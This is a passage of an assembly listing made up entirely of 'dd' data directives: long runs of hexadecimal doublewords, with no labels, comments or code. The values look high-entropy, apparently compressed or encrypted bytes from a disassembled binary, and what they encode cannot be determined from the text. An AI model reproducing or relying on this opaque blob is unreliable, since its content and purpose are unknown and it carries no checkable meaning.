		dd 13CC617Dh, 63491E02h, 0B5968077h, 947E8B73h,	3088143Ch
		dd 0C29110ACh, 1E2F004Bh, 9D69C5F4h, 7D011DC0h,	0FE31D037h
		dd 0A0EEE8B7h, 4BDFD7C8h, 0DDA10ABBh, 0EC1E24h,	107B0B58h
		dd 6C98EDBCh, 695EB70Eh, 43BB47E4h, 48CC2A72h, 3A8FABD8h
		dd 786EB1AFh, 5F1F38C0h, 10C4AAFAh, 0FEC0887Ah,	1C82A5F3h
		dd 4D177h, 434910C9h, 0A40380F7h, 79E5D44h, 0CC1CDBACh
		dd 0F060B483h, 1C7196EFh, 0F6492Ah, 0A1C9C31Bh,	10903FDCh
		dd 0FE57702h, 80FA460Dh, 0F99A54C3h, 805B0038h,	9568AD6Dh
		dd 0CE3C142Ch, 0A26900F5h, 0ACDC13B6h, 2B2200F0h, 3B668252h
		dd 17017E93h, 0F5AF8D94h, 6EFCDAC9h, 55A7005Eh,	0DCE75A72h
		dd 512CB3FFh, 4300B509h, 0E87D4838h, 0D8F10530h, 81D15429h
		dd 20B66AACh, 5E1FFBD4h, 7D800B10h, 0A599C0CAh,	14DC14BBh
		dd 0B77B887h, 0E4735235h, 0F2FF4480h, 1E0161B7h, 0A6594C88h
		dd 0DDCE6CFh, 12780FEEh, 0A1421FC9h, 7540323Dh,	30EA598h
		dd 0A01ECA17h, 8138AABFh, 0CFAE05E4h, 0C0DCBDFCh, 7CBE23A4h
		dd 0BCF2E700h, 0C991F65Bh, 69E2001Dh, 5FA3F0C2h, 0BB07C5C8h
		dd 82FC9A85h, 40E3C20h,	0C059092Ah, 3441FE30h, 0E0D043AEh
		dd 0CDD420CFh, 435063D5h, 0B704A5C0h, 286E6DEBh, 5BBE9681h
		dd 0AB9DE180h, 0EEB12104h, 68BA2012h, 0E980411Ch, 0EC7EDDA9h
		dd 81FB0725h, 0E0902876h, 2248A121h, 0ACFC4B00h, 52AAF21Eh
		dd 74B0BBh, 8025E106h, 48153A8Ch, 0CF77DE28h, 53F0B650h
		dd 8E9A8700h, 2944993Fh, 0E0C80047h, 1D7F813Eh,	241F5D71h
		dd 0A340195Eh, 931A976Bh, 76062C5Fh, 0B02300C4h, 0C1DE1D4Ch
		dd 0FE002090h, 0E5ECF2CAh, 24F471C3h, 14369Eh, 73B71B7Bh
		dd 5700A39Fh, 29D55E09h, 0B6E2C2h, 1FB9ED38h, 3FB75245h
		dd 99BFFF02h, 90B8AC86h, 5D3D88h, 0ECBC6AFAh, 0BFEB3728h
		dd 4014C900h, 0C77E0154h, 52600EEh, 0FB8AF116h,	7901AEE7h
		dd 83C4FA35h, 0B2208D90h, 1F067CFCh, 0D430A217h, 0F408F8E9h
		dd 240FD625h, 1DE6A08Dh, 4290B8h, 7B5EAEF7h, 90C3AABh
		dd 47023402h, 0CBB84F6Ch, 6563E06Ch, 0B8400CFh,	36875E9Ch
		dd 0B07A90DCh, 0E3255000h, 0A647B7D3h, 2E667A31h, 34C730h
		dd 0DCB46E67h, 1900625Ch, 0EBC49AA8h, 74237C5h,	0E1938E57h
		dd 6F4AC02Eh, 8F90FBA6h, 0D5179900h, 3660AF98h,	5707F33h
		dd 53EDB6D6h, 0C0D4C037h, 0D2F2CFDDh, 8EBA571Eh, 284B60DEh
		dd 7894A021h, 70A1382Fh, 7174F65Ah, 68EF0081h, 0EB111DD2h
		dd 3D2002CFh, 0E5200C5h, 1351CEFFh, 0B6006F3Ch,	0B182266Ah
		dd 28C9CA5Eh, 9CC8515h,	593EF18Bh, 367D8400h, 0CB006047h
		dd 460EE5D5h, 0A31B72h,	54411137h, 0F9F46D53h, 3DA81F4Eh
		dd 7BA0160Fh, 1CE7B6AFh, 0F1616EDFh, 61E7AE6Fh,	9FC1D844h
		dd 0BA76E0Ch, 7811108Ch, 0CE2C2AA0h, 5BEA10h, 894AA394h
		dd 4C3E7460h, 9A0221Eh,	0B8C65C8Ch, 1F30F85Fh, 413F0Ch
		dd 0EF539A73h, 38016175h
		dd 0BAC3B80Fh, 0D08440BBh, 8062D086h, 3FAAC98Ah, 0F300F09Ah
		dd 8BE6220Bh, 1C44811h,	5AF1DEC2h, 9EEF6154h, 943F8888h
		dd 24C9BBh, 0FB3FACC7h,	0D7C3B0h, 0CEC4980Ch, 0FE69D50Eh
		dd 7A07B54h, 0D4E4350Eh, 634AE0A3h, 1A884DCh, 3296C58Ch
		dd 0C43441BBh, 0EB903FD3h, 477A2800h, 0F4E68CADh, 5AAC0060h
		dd 0A19CEC25h, 0AB00D0CCh, 61787CC1h, 72CB86Fh,	8BEF5BF4h
		dd 70AF1144h, 9264D83Ah, 958C0501h, 22ADD96Ch, 0B38B0C3h
		dd 9E4F00F6h, 8BA4C382h, 890059A6h, 0A909E48Eh,	2D585Ch
		dd 0F1F952B9h, 0B5999CB6h, 730074E2h, 989396EBh, 78A574Ah
		dd 0A79A3720h, 7F0140C8h, 2C01E4CFh, 6322D1EDh,	0F880750Fh
		dd 0E7F38A95h, 2D000279h, 9E99DE7Ah, 1F91AF43h,	774FCC6h
		dd 200BCC27h, 420D9779h, 0DCD00807h, 60F00630h,	393E784Ch
		dd 9F004704h, 3BCA7ADEh, 7B01FA8Ah, 0CCD0A13Ah,	0DAF88B25h
		dd 24C700ADh, 5E94BCBEh, 0B4A045C3h, 3700889Ch,	0DB0A93A8h
		dd 911F40h, 195215C1h, 0CD302EF4h, 0DEB75407h, 0B130EEABh
		dd 0CBF2D5h, 0FB61934h,	0BD138742h, 7081DB00h, 0DF2B02A8h
		dd 8F660789h, 4015D53Ah, 0F0AF31C5h, 0A005578h,	7DB918E1h
		dd 0FC6B7764h, 0AB7A00FDh, 0E485E766h, 0FF001A10h, 0D8BE53A8h
		dd 97590C4h, 93289ACCh,	40B36181h, 0D111E8C0h, 30C4DF00h
		dd 9A0EE332h, 0F20C092h, 5C56ED2Dh, 5F96C201h, 0E06A7D49h
		dd 0E1F998D7h, 0D2FF0F44h, 1CE075B8h, 0F7B2A1C4h, 3C092101h
		dd 9B30FC33h, 7C3F4839h, 122008ACh, 6BA131Fh, 68A48429h
		dd 8016E639h, 2AC55E0Bh, 0DCED41h, 74A1C0A8h, 86147813h
		dd 0DF7BB512h, 906C840Bh, 50A7A1C8h, 0EA34B4E9h, 927A36h
		dd 0B27956C7h, 9F9E307Bh, 877A1A00h, 1E78356Dh,	6EA50062h
		dd 965AE8D4h, 0A0248E7Eh, 4487B0ABh, 8010C466h,	4BC59960h
		dd 4D30007Bh, 499CEB12h, 0FD662103h, 0B7D88424h, 25101FF0h
		dd 1AAB3071h, 4FDCDE3Ch, 5A0D5201h, 3B0AD8A4h, 0E1A007CFh
		dd 0B3A0A337h, 32FFFEABh, 0D0C04BECh, 0E40F96BAh, 2021D5CEh
		dd 6E496BCFh, 0D89F2554h, 7800EEF0h, 2F081235h,	3653031h
		dd 0D9C0706Ch, 8A882EC2h, 0CF0007A4h, 0A70F5D21h, 0B62A35h
		dd 9E7B477Ch, 0B8DA69FEh, 90C10B02h, 684A62C6h,	0F3A214h
		dd 0CF76C8ABh, 87D62906h, 0D7136900h, 6A4AE9CEh, 48643843h
		dd 3108C700h, 66F819AAh, 0E49E6001h, 211199DCh,	786864h
		dd 0D65F73DDh, 7A25465h, 0B0C6EC3Dh, 96B52136h,	471C3B56h
		dd 0BCD27C00h, 0D52ECD92h, 0C03D6798h, 0C90603FAh, 11EE295Eh
		dd 5397A8h, 0D9DE083Fh,	555AF3h, 84135D68h, 0E72ED817h
		dd 0A1F88B0h, 0B6C16942h, 408A3A75h, 0B019BC4h,	0DBDDD9F0h
		dd 525D1820h, 9F00E66Eh, 803D135Bh, 9887CFABh, 60160058h
		dd 0F67159A1h, 6C014A47h, 0F4BFE97Bh, 8080C1FCh, 0A59ECDFh
		dd 9D0F6223h, 29EEF602h, 20100F8Bh, 0F2D9A408h,	0A08F12D6h
		dd 445443BFh, 94F947FAh, 5884501Ah, 1C96F9B0h, 6F57900h
		dd 7B04738Dh, 58DF4C5Fh, 6BFF816h, 2908CFDBh, 79A28A00h
		dd 71A14798h, 0C51658D3h, 314F4000h, 99D672EEh,	9BD08101h
		dd 2444D177h, 588C70h, 4518DC30h, 128B2C3Bh, 3A8985Ch
		dd 0EEDF04Ch, 0EC9BD063h, 6567DB9h, 0C3DA5171h,	0D550180Fh
		dd 587849C8h, 0B7B9A60Ch, 2391810h, 8E33A736h, 1C60831Ch
		dd 996F77ECh, 70B3A058h, 1981E1Dh, 7C573264h, 20B5D226h
		dd 0F126F65Dh, 7713D2B2h, 83023CC0h, 9FF303EAh,	0BF6ECE5Ch
		dd 181DFEA8h, 78846A17h, 72B44600h, 380F24A2h, 0E48164BCh
		dd 0B1B7332Bh, 10906829h, 0C384529Ch, 232F0047h, 3BF2B246h
		dd 9E93041Ah, 2CAC0034h, 1E736FCFh, 9C01061Dh, 59D74300h
		dd 3A554E1Fh, 9CF20A9Dh, 5F9B84A8h, 885B83E4h, 19129C88h
		dd 62FD3500h, 0C0B9E38Bh, 85DA00AEh, 201F4A8h, 6D3E9A1Bh
		dd 0F6FE8047h, 729232FFh, 0C4FA002Dh, 1931A4Bh,	0E14A24B7h
		dd 0C31B4000h, 9A8A161Dh, 270A0710h, 0C17EED70h, 34BEF76Ch
		dd 0EB06756Ch, 0DAFB4360h, 3C8C0310h, 0CE79EDEEh, 0DCD34EF0h
		dd 5E141492h, 7CE8F55Bh, 77C98600h, 31A94508h, 508D1FFBh
		dd 1F1E91h, 0E8E95CB0h,	561E0116h, 0F881A6C7h, 2059E754h
		dd 5C0CFE60h, 0C054A743h, 0D1BF02FBh, 1F7F666h,	0DB79E061h
		dd 0C7AF87C0h, 947FD4B8h, 7DD03800h, 3D81D1E0h,	0E619FCC8h
		dd 73C701A5h, 0EE9EE203h, 10D04732h, 0BF1C1707h, 0A0266F00h
		dd 35883BDCh, 207300CAh, 6972622Ch, 0D70633B5h,	0B6D47630h
		dd 0E9F8A0AEh, 32A201FCh, 53563FCEh, 0E0CC308Ah, 0EEE6270Fh
		dd 0CE2A0D0h, 0CEE7685Ah, 9A00F310h, 0B91F2388h, 710333Ah
		dd 0D2414AEFh, 0A0D9EAC3h, 98B20686h, 4DF400C8h, 7C6EBE0Ch
		dd 180F957Dh, 0A0806879h, 0B934A7A4h, 668B0005h, 0BBCFB4F4h
		dd 574E9C97h, 7B4FD440h, 4CB688h, 0C444F2C1h, 25CFAEE7h
		dd 0C250F928h, 4DA2170Bh, 0D9AC8058h, 481B9339h, 0E7A36C8h
		dd 4372C352h, 1286E49Eh, 51648078h, 0A3006FA8h,	5C5D0AFCh
		dd 2CB1831Dh, 470F81h, 0E2CB1384h, 0A87ACDFFh, 67684100h
		dd 277275E3h, 0D7DD2DC1h, 0A67CB0A0h, 0F9801E91h, 37D7AA8h
		dd 18812BD8h, 0D4C064B2h, 0BD00EB4Fh, 593E12C7h, 1369Bh
		dd 21C61AEFh, 3B1178B6h, 3B97515Ch, 0DFB70139h,	0E5387AE4h
		dd 157834h, 2EFC573Fh, 2B6389F6h, 12733204h, 0E8A2C4A3h
		dd 0C944B1E8h, 6EA03E19h, 0E93E3DA2h, 0BBEEFC9Fh, 9C23B84Ah
		dd 0CCFBB385h, 0C4480E00h, 0F7396FC9h, 7A588127h, 29BF0160h
		dd 2A068080h, 8215B511h, 230518C0h, 38099EB2h, 0EC804F02h
		dd 0C4B970Dh, 0C00FC490h, 0E05440BBh, 0FF69E084h, 5ED4007Bh
		dd 606FE44Dh, 0F80389A0h, 0EB533FC9h, 512A3A1Eh, 868C6119h
		dd 59388708h, 0A974E4C3h, 0FFBA10B4h, 12E06047h, 9B52A0h
		dd 0C75E9FF4h, 0A6F13FAAh, 0F332F209h, 71BF807Eh, 0CB2B43Bh
		dd 0C55D20FAh, 28E3294Ah, 0B1F280F0h, 2076C26h,	8F828B9Ch
		dd 0F40C2E1h, 8C0370EEh, 4374554Bh, 0FB02F308h,	8548F8DCh
		dd 6EF4B5h, 276BD07Fh, 0FD921161h, 6C3E7126h, 0B1F38F00h
		dd 0F00A5B50h, 383752Bh, 926758D8h, 94F060E4h, 7A3C2FEFh
		dd 0BC8801CFh, 3162C1A4h, 490FDC28h, 2D601DC6h,	0F29D76E6h
		dd 58AFED00h, 0B118BD40h, 38DE7648h, 0DD01F7A0h, 0EC9EEEACh
		dd 68BCF403h, 88544F1Fh, 0A3E9AB00h, 20EA4348h,	2E01F8AEh
		dd 0AF7AC6B0h, 62EC3782h, 0F3D7046Eh, 0F372941Fh, 1AE05488h
		dd 3387D09Ch, 3B30D9C1h, 178A6228h, 407E31DBh, 5E482B7Ch
		dd 8303473Ah, 0D030979Dh, 3DCA008Eh, 14AF211Dh,	4B1F9549h
		dd 0D8806F3Ch, 9CF25E24h, 0C66FE6Bh, 5DF3AE80h,	0C0B6F68h
		dd 29D82C16h, 0FF7B8074h, 1FFA4E1Bh, 0C0F25ACBh, 52558DA1h
		dd 7CFCC511h, 0A4EB0500h, 0D2647FDBh, 0DD030B4Eh, 1820CAD5h
		dd 0DFF54F4Ah, 6FC25207h, 8DF01490h, 73A6C63h, 50CBE995h
		dd 9389001Dh, 0C24BD581h, 7ABA0804h, 0F0DCCA60h, 0CD239207h
		dd 0AD70E3C9h, 0E7FCD1h, 3E692E3Ch, 0E08BD643h,	0E4374E00h
		dd 9CD3E8BEh, 735B00BDh, 77D14134h, 0E5027D5Fh,	60861320h
		dd 911468F9h, 2EF1B8DCh, 1FA08E92h, 76294A12h, 6FC380B0h
		dd 7A96D6DEh, 59C2CA09h, 3CC44052h, 48F60B2Ah, 0B480A168h
		dd 8CE35DA5h, 6EA0FA60h, 592A855Eh, 0AD005C89h,	11F6A8F3h
		dd 0F0EED033h, 0A263700Eh
		dd 0D3C06097h, 7E270475h, 8AF528AFh, 51965C94h,	2F200A00h
		dd 0ED3EA088h, 0D3E1DC00h, 992BC2A5h, 0DBE50053h, 8AE6FC37h
		dd 0CA000EA9h, 0E49847CFh, 0D114FDh, 378CB2ECh,	80F94CFEh
		dd 3DC6BD07h, 0F6B0199Ah, 0B7A5FC1h, 0FFB222D4h, 0C7ABDC20h
		dd 20F6DD24h, 0EA658300h, 4B04E3C0h, 0EA5E4E0h,	0F3BB80FDh
		dd 6F0E4DE0h, 0D500F51Bh, 0B45484E3h, 3B7E485h,	89B5E75h
		dd 0C7988911h, 0D8FD38CDh, 0A0178D9Eh, 0C80078Ah, 3BD94885h
		dd 0DA968120h, 0E7AE04F9h, 58D1C331h, 4E69BEF0h, 517C63Ch
		dd 91D42862h, 0A7FEE0C0h, 1035019Bh, 76E8FA13h,	59C93085h
		dd 738EA918h, 588C6CC8h, 2E1E147Fh, 0EBF440CAh,	90D3472Bh
		dd 5CB5C615h, 14125CCh,	0FC46A8E8h, 71978424h, 55610094h
		dd 0E1AF6624h, 0FB055E9Bh, 19F2CD64h, 308FAC00h, 4C21DEh
		dd 0D0D3E4EAh, 1EC78E08h, 86077700h, 0C8DF6FBAh, 0DD7800C3h
		dd 0EAEB9147h, 7903C23Dh, 930BD189h, 7865B0DFh,	0E6090C1h
		dd 97106AEh, 0BBA7AC0h,	0F0906BEAh, 6D86E4A0h, 0BC0494Dh
		dd 8FA3734h, 7C06D773h,	26B9F86Ah, 128B163h, 550929FFh
		dd 257E80B9h, 0A287A5DDh, 0D53C0937h, 9470FBBAh, 0F18AC000h
		dd 0ED5861D0h, 7C494ECh, 7055F3A0h, 72DB92D4h, 4FE9500h
		dd 0C8B79AD8h, 0E0796Eh, 83A2F920h, 4B89A798h, 306738C0h
		dd 60FA6135h, 6BB6104Ah, 17093140h, 409919C3h, 1D0A39A3h
		dd 129CC26h, 82288779h,	48D7DCADh, 526AF300h, 6EF154D1h
		dd 0F60201D5h, 0CF0E34DAh, 0A43DC984h, 0C940081Eh, 6E0DBAh
		dd 28DFA1EFh, 0B217E8E5h, 3D39D500h, 0B53A33D6h, 25C40081h
		dd 0F95737BAh, 402FB732h, 4DD48260h, 17CC51D7h,	93788137h
		dd 0D4002A94h, 0C7DEDBEDh, 99912656h, 0F1148408h, 9A24A0ACh
		dd 41587105h, 0A40F4090h, 0C0210F83h, 8CF5CFDAh, 0CA3409C0h
		dd 0CC103D56h, 0B209196Bh, 60968A5Ah, 2F8F6310h, 50804432h
		dd 0DC4E04B0h, 31029C01h, 0F5E9A4D9h, 0FEFFCFD0h, 0ECB022h
		dd 37684638h, 0F4949C41h, 9904DA00h, 0FE296ECBh, 15F701B8h
		dd 28B7FF5Eh, 1F028F5h,	3022DF17h, 0C98E9B3Fh, 1600D2FAh
		dd 0F53D6E5Ch, 4AE7E300h, 67B72D57h, 261EE69Bh,	80E4A907h
		dd 89D3378Ah, 0B84DC1F5h, 5C3D80h, 27FB9812h, 39CC848Ah
		dd 0BC007868h, 0B53D4074h, 38025217h, 9F92A3EAh, 0E08C634Ch
		dd 0F536D054h, 607A2878h, 0C34F1823h, 9300DAA6h, 433F3896h
		dd 27B4B16h, 9E688502h,	80499518h, 2BD44079h, 2203D6A5h
		dd 98B04B72h, 1E8BACh, 96336038h, 8D908753h, 2419443Ch
		dd 0B30098FEh, 8F7D348Eh, 0BBD8A0B4h, 2020FF68h, 544D07E6h
		dd 0D0CF2C0Bh, 63627B3Eh, 0FBE83B3Fh, 0D0215CCAh, 0F733B700h
		dd 249E97h, 92ED56E7h, 8161505Ah, 900571E2h, 0CA0AA182h
		dd 0CC6F8880h, 7A770754h, 33500752h, 3C03F49Fh,	714B8225h
		dd 0F2C2B04Ah, 0DB048h,	0BEDB526Eh, 9E4390ABh, 4CEDFC0Eh
		dd 1D15456Ch, 265B2880h, 0EFFE00CBh, 0EBE031D6h, 2C0B39ADh
		dd 8377C411h, 0E7D0F084h, 1895D57h, 73DC4A08h, 5818012Ah
		dd 0D0C38814h, 0D17D81DBh, 0A4694D2Ch, 0C417853Fh, 14B01675h
		dd 996017CDh, 90404013h, 52DC62F5h, 11B4F400h, 321FCFB6h
		dd 0C1870067h, 982043Dh, 0AD1840D5h, 502024D2h,	8B410018h
		dd 1DC888Fh, 570FBF58h,	63398CBAh, 8844B1F1h, 0A6A4EAh
		dd 48C75175h, 0ACB8C493h, 9D006671h, 637EBE6h, 52AFFCAh
		dd 144C4AA6h, 9D38F403h, 0F8DE3A00h, 0EFCCBCDFh, 0AB8F0019h
		dd 0FF4C84FCh, 0E8007599h, 28D57771h, 407EF2h, 8F9C0D74h
		dd 5BE78319h, 0A2135600h, 1270491Bh, 0DE4B0258h, 1F1CF755h
		dd 0A7344A60h, 22138094h, 0CB0E908Bh, 2500A8AAh, 8526E30Dh
		dd 7605774Ch, 0E80027E4h, 0D2879278h, 1258BEDEh, 0F0DB2B6Eh
		dd 0B800019Ch, 1721F661h, 0DA74EFCh, 72904C37h,	9A6FF470h
		dd 5D98CE02h, 58E3FE06h, 45691368h, 0B084957Ah,	0B8740EBCh
		dd 0E6A9F317h, 40116803h, 87B9C0C4h, 123F5F82h,	7C0C8800h
		dd 3D4C0C84h, 977087DDh, 0FAC99A07h, 17602E9Fh,	0E8840383h
		dd 6C7701BBh, 0B1CB9078h, 7C9885B6h, 0F0E4FF60h, 0AC88C7F3h
		dd 62E40104h, 8CA8E0ECh, 0FF732C03h, 0D816C19Dh, 7ED3888Dh
		dd 0CF4F0067h, 9BCD40EDh, 0D8012680h, 86A11104h, 0DBC8099Fh
		dd 0CB5100DDh, 0E0252FDEh, 573F39EFh, 1E773BE1h, 0E900555Bh
		dd 1B6648CCh, 75730062h, 767B2902h, 0B90AFA64h,	983EE2D1h
		dd 60743B0Fh, 73F7A26h,	0D0EE0098h, 7501390Bh, 6F5E5163h
		dd 221DBC00h, 0A8F6F0h,	70E4957h, 7AE623AEh, 1F0FA17Bh
		dd 20A976A6h, 74A39814h, 0E5241254h, 0C4E225h, 0F0CAE2DFh
		dd 0FFCD87F8h, 5FCBF8h,	0FD428919h, 604A6BE1h, 5595C200h
		dd 6444D02Dh, 639176Eh,	8FC4FACh, 0D3F380A0h, 98000E78h
		dd 152E65CAh, 0F08B7AC8h, 0B8451C6Ah, 1F7500C1h, 114DAE62h
		dd 34C3364Bh, 57881DF8h, 0CB1040C4h, 8AEE0F43h,	82F2AA07h
		dd 2DE0E3Dh, 0DDEC04CDh, 0C04C5F00h, 58004344h,	0C982097Bh
		dd 13C12490h, 2ED6121h,	14E3F2C8h, 86139A40h, 0E648D57Fh
		dd 3D0C1744h, 5BE789Ch,	0E5FD789Bh, 4CB0C1CEh, 8C811586h
		dd 6E706F05h, 59BB7B73h, 871F20A9h, 0EA790098h,	119CA4CAh
		dd 689A0200h, 0CEBA92B9h, 2C310086h, 0E7876571h, 0E2F26B74h
		dd 6260B4A2h, 4D4C81DFh, 0EB5F01F8h, 62B3A3F7h,	733A5C21h
		dd 0D0269550h, 910B34A6h, 1E34C435h, 40D773FFh,	0C154178Dh
		dd 0A0380D14h, 0D8E003B2h, 0D4B7C4FBh, 0D2004CBDh, 8A9A24BAh
		dd 0D650453Dh, 52EAFC4h, 0F500AF31h, 72FD802Ah,	8E700F85h
		dd 152E7783h, 0A4BA86A0h, 5702E2EFh, 6FE6CACBh,	76CCC8BDh
		dd 9FE00A8h, 7E42AB3Ch,	62009B0Fh, 0A646301Eh, 7D3283Bh
		dd 0FB1DF823h, 4932B052h, 63006C48h, 0FFDE9685h, 0FBC2EFDh
		dd 0A3EF7BEDh, 0BD0EC11Eh, 312A0D1Bh, 0DF6FF84Ch, 0A1D4E500h
		dd 13A82B03h, 4C650061h, 4742A7F9h, 2800146Eh, 8FA6869Ah
		dd 32D3A0h, 0E77E1040h,	5EFE173Bh, 65B1D961h, 76CC9EC3h
		dd 478001D4h, 0DCCB5EDh, 0AD05CC01h, 0C9DF870Bh, 90B86031h
		dd 99F6006Bh, 0DC649F4Ch, 53017378h, 6AC238ACh,	0E0403C33h
		dd 42A9A5h, 7FA8F346h, 0D8E31DAAh, 139D7D00h, 6AA722A6h
		dd 0B87E5036h, 3DAA00E5h, 85530CA4h, 0CA4973C6h, 79E10F34h
		dd 0FA43A011h, 301D2891h, 90604ABCh, 0E9EC45C3h, 0E2474C00h
		dd 7D94A7F3h, 63E053h, 211108A9h, 0B7AB72Ch, 0F305B900h
		dd 1702A4BCh, 5A82001Ch, 330FDCA5h, 1CB83922h, 29E34101h
		dd 18B7B603h, 440C70h, 28357AEBh, 6B81A860h, 41473C00h
		dd 0BBF051B4h, 33E981Dh, 6D4EBF3Dh, 0D88E107h, 54731C2Bh
		dd 8B62C101h, 0FE276F7h, 0D959FCh, 681FBD25h, 5C217D30h
		dd 0F5A49C04h, 8880AB5Eh, 1124A8h, 139A2019h, 0C967EBB0h
		dd 43D0A000h, 1976D76h,	4D151EB7h, 635CC049h, 0F966848Bh
		dd 0A47D0C2Eh, 0E2040290h, 0A048D30Ah, 9800B140h, 0EE6B138Fh
		dd 79892DBBh, 3107008Dh, 994CF4F0h, 90071AC9h, 0FA691E67h
		dd 70CAEC10h, 45300072h, 400F39A1h, 0E100D316h,	0BA358E1Bh
		dd 0D07FE7h, 0EB0B7098h, 0FDF4E82Ch, 18E05B30h,	7AD26BC7h
		dd 9B280C26h, 0B53135EAh, 0B016093Ch, 4C262947h, 585B0EAAh
		dd 0C1C3BA62h, 81DF1CDBh, 0CC676DDDh, 0EE00476Ah, 87254836h
		dd 90F5B035h, 0BE10056Ch
		dd 0C1C5EFA6h, 0BE864F0Ah, 66A036Ch, 803FDF22h,	0D1D246h
		dd 28FF960h, 9BAAAE9h, 0E409DCE4h, 80C54A34h, 7019B06h
		dd 3F4EF69Dh, 8E9EEA8Fh, 0A586C09Fh, 0D5A7377Ah, 3F88DE60h
		dd 227135h, 0EFA1A68Ah,	67AE363Dh, 7B314A00h, 0CC830C5Dh
		dd 5F2D0h, 0B7D4BBF7h, 703C0DF3h, 1D7B6C00h, 30C036F2h
		dd 0FC20C0E6h, 515615D2h, 0FD327A00h, 0DA138426h, 0DB8C0064h
		dd 7FC16DAAh, 65002908h, 0D43ACF51h, 3C2E9Bh, 933BF648h
		dd 35E57675h, 914B0D17h, 6A0B9400h, 12F5F38Ch, 74B81Fh
		dd 0C3AA03B4h, 0B400385Ah, 551D4D7h, 766D98Dh, 0C57ADF32h
		dd 0E340EF91h, 0CCDAB88Fh, 2963D00h, 86B60D0Ah,	0D8255871h
		dd 46281E00h, 69519259h, 0DA008F98h, 0C6B81C45h, 0EA632789h
		dd 364D013Ah, 2D9C725Dh, 22E08049h, 0AE2F6AA8h,	3A300039h
		dd 0BB9AF7C7h, 8500EDE2h, 0E8E8AB0h, 10F6323h, 2995A769h
		dd 0D8B81D0Ch, 0FB1F603Eh, 7A81D380h, 5BE00765h, 387720h
		dd 969CDAC1h, 0B7FF0534h, 2A51FB00h, 77E78070h,	78A70013h
		dd 843616F3h, 8E0E02D5h, 0C1383A63h, 0D264BB49h, 9EFC03C1h
		dd 0C0767131h, 3BC16610h, 0B61D055Bh, 0DE008EB3h, 31BF8681h
		dd 0D6370013h, 0C8A027D5h, 0C639D4FCh, 339E9424h, 0DBFA12B7h
		dd 0C741400h, 0ADC064h,	2F9DA312h, 0CE3CF1B7h, 0D96C6500h
		dd 785DFA03h, 79AB0029h, 4550DCD4h, 0F5074166h,	9864073Ch
		dd 3604A8A0h, 0D98307A1h, 107472C6h, 885117DDh,	0F40DE274h
		dd 70660FA3h, 49ECEFF0h, 0BD179828h, 0D238C30Ah, 0BBC39EA0h
		dd 0DA1F18DEh, 0E792CE00h, 1CA9B883h, 80BF6F46h, 0C79B4ED3h
		dd 5B0020F1h, 63D24240h, 3B0A2FD9h, 6E05B82Ch, 712A32Bh
		dd 98D8F838h, 1740239Ch, 622F14Fh, 6CE748D1h, 0AB88490Fh
		dd 1C610A96h, 0C80F9054h, 3F11022h, 9B3EABB6h, 6A280F4Bh
		dd 0E98CE3CAh, 0F700A9F0h, 0C15865A8h, 0BE098Ch, 7F5062C8h
		dd 956B2AA2h, 11C23400h, 75146DD1h, 9254073Dh, 40CA2209h
		dd 0C4ECF7EEh, 1DA5AC00h, 0C6B371BDh, 0E3700C5h, 0D3B28F09h
		dd 8300AEF7h, 0C973D7ABh, 1104BE3h, 5669A5D6h, 0F4A1FFE4h
		dd 0D100DCE5h, 3C3C0CFh, 0B83CE8h, 0FF5D3542h, 4144A579h
		dd 9FAEC700h, 6050E9B4h, 0A62F0022h, 1A37A0D2h,	770B1610h
		dd 0FC7192h, 0E39B5E5Ah, 97DE0702h, 51CA54F5h, 57291EF4h
		dd 2DA79090h, 206ABBDh,	92A34A06h, 21776008h, 8F2DDF66h
		dd 91ACBB06h, 121923CBh, 0E01755BAh, 59C8C620h,	2DB8C3FFh
		dd 189AAB91h, 0B0638878h, 0AB9F2D00h, 482A8F59h, 0D74401D1h
		dd 0DA15BAE7h, 0FD00C272h, 0C5297B51h, 40661E20h, 0B1B61FF0h
		dd 20C4699Dh, 8C155793h, 4D70DD01h, 806D46B3h, 0E9B70A11h
		dd 0C8917B5h, 91EFD188h, 21C8B608h, 0D0EC18AFh,	7580DBEAh
		dd 35933694h, 0CD465058h, 0A7E9BD02h, 0B9319917h, 0E9C5A910h
		dd 39B5A416h, 5A5B00FFh, 489B317Ah, 0B699F700h,	2B4A27EBh
		dd 188A6066h, 6AC43902h, 1DF7160Dh, 2AF820BAh, 71180022h
		dd 0FAB2C13Dh, 23004015h, 1309207Eh, 989E5329h,	9D1F3D90h
		dd 93E80680h, 3785702Bh, 4F9F8400h, 0D6244DB5h,	19F60349h
		dd 8E40BD7Ch, 21FAF7E0h, 14BAED03h, 0D03823E9h,	3A7DE87h
		dd 116E1934h, 0DAC00E4Ah, 9600FE47h, 172B7B86h,	0C754AEh
		dd 45213556h, 915523B1h, 5215711Eh, 0EA12FF40h,	795C10h
		dd 1DD15EA6h, 9E6562F5h, 72450B00h, 0D75BCF4Fh,	6BFC00EAh
		dd 76A47992h, 0C300DC1Dh, 1E48BED2h, 0A38BA2h, 0E42591D9h
		dd 5437DF14h, 0E6853C00h, 7E9EE067h, 0B55C16E1h, 2E6601D9h
		dd 603D0AD5h, 0EF007883h, 93ABE55Eh, 0E07AC12h,	7DF8D326h
		dd 849B2520h, 0EA0090E9h, 0E429C155h, 76075A7h,	6C542061h
		dd 0EB4790BEh, 4A004659h, 3814D44Fh, 0F4CD5D1h,	0E99662A9h
		dd 42B3BD60h, 8E3B1502h, 888F80AFh, 0DE3212B0h,	0F9F0010h
		dd 97E34E6Bh, 0A3009D57h, 49D881A2h, 61B964h, 0C916F91Dh
		dd 26E34F41h, 6B03DC00h, 0DD552569h, 0E2222645h, 0D00100B3h
		dd 9C1E1456h, 0B2C31501h, 0D26A73A9h, 0E2D8E8h,	4C4EB73Bh
		dd 0D007E991h, 24000D70h, 66EE13DFh, 0C77A4Dh, 0E2D3A376h
		dd 880515A9h, 44CBD00h,	0B359A6A7h, 0F50B0665h,	0E869E997h
		dd 88B93F00h, 2FC63964h, 0DEB096h, 0C52A1E5Eh, 17DAC40Ah
		dd 1D84307h, 0A2300645h, 4CCECC2Fh, 0A100B282h,	23360E47h
		dd 4D0CFBE2h, 58BA6011h, 82160BE0h, 0E83A75Dh, 17D83BD5h
		dd 840312C2h, 1F1C04C9h, 8B500008h, 9810B6F5h, 960743D4h
		dd 0E3E78D03h, 0E0254B70h, 9C9F1C45h, 0A77C0D8h, 3A09CA6Ch
		dd 0FB69B41Fh, 0A056h, 0A51B9BDCh, 15591F14h, 4DE88028h
		dd 9A7CC467h, 0D4D27700h, 211A7122h, 797600D3h,	0B7866BEFh
		dd 0FE5CEC31h, 71770D4Fh, 52E831BAh, 8B0100D0h,	72D3AB46h
